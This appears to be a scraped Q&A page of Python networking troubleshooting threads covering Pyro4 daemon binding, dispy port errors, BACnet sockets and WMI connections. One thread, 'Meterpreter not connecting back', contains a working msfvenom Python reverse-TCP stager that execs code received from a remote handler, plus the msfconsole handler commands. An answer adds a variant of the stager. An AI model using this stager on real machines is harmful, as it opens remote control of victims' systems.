Error 99 when using Pyro4 on different machiens - python

Part of the code I'm using is based on the messagebus example at https://github.com/irmen/Pyro4/tree/master/examples/messagebus. I've set up a Pyro4 nameserver on one machine. The server & publisher are also running on this machine.
The subscriber works if I run it on this machine but I get an error if I try and run it on a different one. I need this to work on several different machines.
The Error I get is: "error: [Errno 99] Cannot assign requested address"
The line where my code is failing is:
d = Pyro4.Daemon(host = NS_HOST, port = 6193)
where NS_HOST is the name of the host where the nameserver etc are running, and 6193 is the port that the ns is using. For some reason it doesn't seem to work anywhere except the localhost. Do I need to do anything different?
I know that I can connect to the ns of this host because I don't get an error with:
Pyro4.locateNS(host = NS_HOST, port = 6193)
The above line isn't currently in my code ( I just used it to check that I wasn't having issues with wrong hostname, firewalls etc.) but I was wondering if there is a way I could combine this with Pyro4.Daemon() to get the code to work - any ideas?
I'm using python 2.7.
Thanks for your help!

(It often helps to include the actual stack trace and not only the final error message. And, "Error 99" is also a bit undescriptive.)
However, that error message is part of an OSError that's not caused by Pyro itself. It's an error condition from your OS's socket library because you're trying to bind a Pyro daemon on the wrong network interface address: you're supplying the address of the name server which is running on another node.
The 'host' and 'port' parameters for the Daemon are not the same as the ones you provide to the locateNS function. See https://pyro4.readthedocs.io/en/stable/servercode.html#creating-a-daemon Normally you don't have to specify them at all and just let Pyro figure out the suitable defaults.

Related

Python - dispy Port 51347 seems to be used by another program

I am trying to run the program on the dispy page (http://dispy.sourceforge.net/) and I know this question is very similar to this one once asked (Port 51347 seems to be used by another program), but please do not file as duplicate because I have tried the answer given there and it doesn't fix the problem. I ran netstat and couldn't find any program running on the port 51347.
I tried running the program on several different ports, but every time i tried to run it using a localhost IP it kept giving me the same error 'Port xxxx seems to be used by another program'. I tried using it with a different IP and it didn't give me an error but then the code waits for an input from that IP rather than simply running locally.
Has anyone else had this problem that found a fix?

Meterpreter not connecting back - Python

I have used msfvenom to create the following python payload:
import socket,struct
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('MY PUBLIC IP',3930))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
I have then opened up msfconsole, and done the following:
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.0.186 (MY LOCAL IP)
set LPORT 3930
exploit
It begins the reverse TCP handler on 192.168.0.186:3930, and also starts the payload handler. However, when I run the script on another computer, the payload times out after waiting for about a minute, and msfconsole doesn't register anything. I have port forwarded 3930 on the router. What am I doing wrong here?
This is the code I would use for a reverse TCP on Unix systems, with the details you've provided. However, I stumbled upon your post after error searching, so this isn't 100% flawless. I've gotten it to work perfectly in the past, but just recently it's begun to lag. It'll run once on an internal system, but anything after that gives me the same error message you got. I also get the same message when doing this over the WAN, as opposed to LAN, however it doesn't run the first time around. What ISP do you have? It may be entirely dependent on that.
import socket,struct
s=socket.socket(2,1)
s.connect(('IP ADDRESS',3930))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
d+=s.recv(4096)
exec(d,{'s':s})

Connecting to BACnet device giving single use socket address error

I've tried to look through posts to see if i could find anything but haven't managed to find it yet.
I'm running the SCADA BACnet device simulator on my localhost.I'm assuming the ip for the device is my localhost ip since the only IP i could find was in the deviceAddressBinding property which showed 192.168.x.xx
I am running through the bacpypes(python library for bacnet) tutorial for the SampleApplication and when I first tried running the tutorial, it stated that my .ini file ip is not a valid address in the context. So I tried to put in the simulator's settings to try and connect to the simulator and now it's giving me a Only one usage of each socket address (protocol/network address/port) is normally permitted error. Not quite sure where to go from here, am I perhaps missing something?
my .ini file:
[BACpypes]
objectName: Testing Device
address: 192.168.x.xx #tutorial came with 128.253.109.40/20
objectIdentifier: 123
maxApduLengthAccepted: 1024
segmentationSupported: segmentedBoth
vendorIdentifier: 123
foreignPort: 47808
foreignBBMD: 192.168.1.254
foreignTTL: 30
My simulator properties:
it seems to be a windows issue. Replaced :
this_application = WhoIsIAmApplication(this_device, args.ini.address)
with:
this_application = WhoIsIAmApplication(this_device, ('', 47808))
your sample application and BACnet simulators are opening a server socket. looks like both are using the same port number. you can change the port number in ini file as given below
address: 192.168.1.22:47809
by default the BACPypes sample applications run on the 47808 port number unless you explicitly mention in the configuration file.

PYRO4 - Errno 10061 connection refused

I am trying to connect a client machine to a server mashine in different network using PYRO4 and Python 2.7
My server code is:
import Pyro4
class Thing(object):
def method(self, arg):
return arg*2
daemon=Pyro4.Daemon(port=9999,nathost="78.149.X.X", natport=5555)
uri=daemon.register(Thing(),"gameServer") # register Thing() as a Pyro object
print "Ready. Object uri =", uri
daemon.requestLoop()
and the client code is:
import Pyro4
server = Pyro4.Proxy("PYRO:gameServer#78.149.X.X:5555")
print server.method(6)
However, when I ran the server, I got this error:
CommunicationError: cannot connect: [Errno 10061] No connection could be made because the target machine actively refused it
I am searching since 8 hours to fix this issue but it seems it will not be fixed forever. Please if anybody know the solution please help me.
NOTE:
1. I am rannig the server behind a router, so I forworded the port 5555 to my private IP address. Also, I tested the port by an online service and its opend correctly.
I closed the firewall and the antivirus software.
Have you tried all the suggestions mentioned in the manual?
Your daemon simply is not accessible on the address that you think it is. Perhaps you need to add an appropriate binding host to the daemon constructor call, to bind it on the network interface that is accessible from the outside.
Also try to eliminate possible causes one by one and see which one is the culprit. For instance, have you tried to run it without the router in between?

How do I connect to a VM using WMI in python?

I'm trying to make a script in python which fetches several pieces of information (such as CPU name, network adapters) about machines in my network.
The script is currently working on my machine by using wmi.WMI() (or wmi.WMI('localhost')) to connect.
But now I want to see if it works for other machines as well. For this purpose, I've installed VMWare and set up a Virtual Machine (running Windows XP). I'd like to know how to connect to it.
I've read that you can simply use wmi.WMI([machine name or IP]) but putting in the IP ipconfig gives me does not seem to work. I get the error The RPC server is unavailable.
Could anybody help me please?
Thank you in advance.
One thing you can do that I found to be helpful was use a try...except statement inside a while True loop. That will repeatedly force WMI to connect to the machine and only break once the connection has been established. For example, in the case of the RPC server is unavailable error:
while True:
try:
comm = wmi.WMI([servername] user=[username] password=[password])
except wmi.x_wmi:
continue
else:
break
That should help out a little.

Categories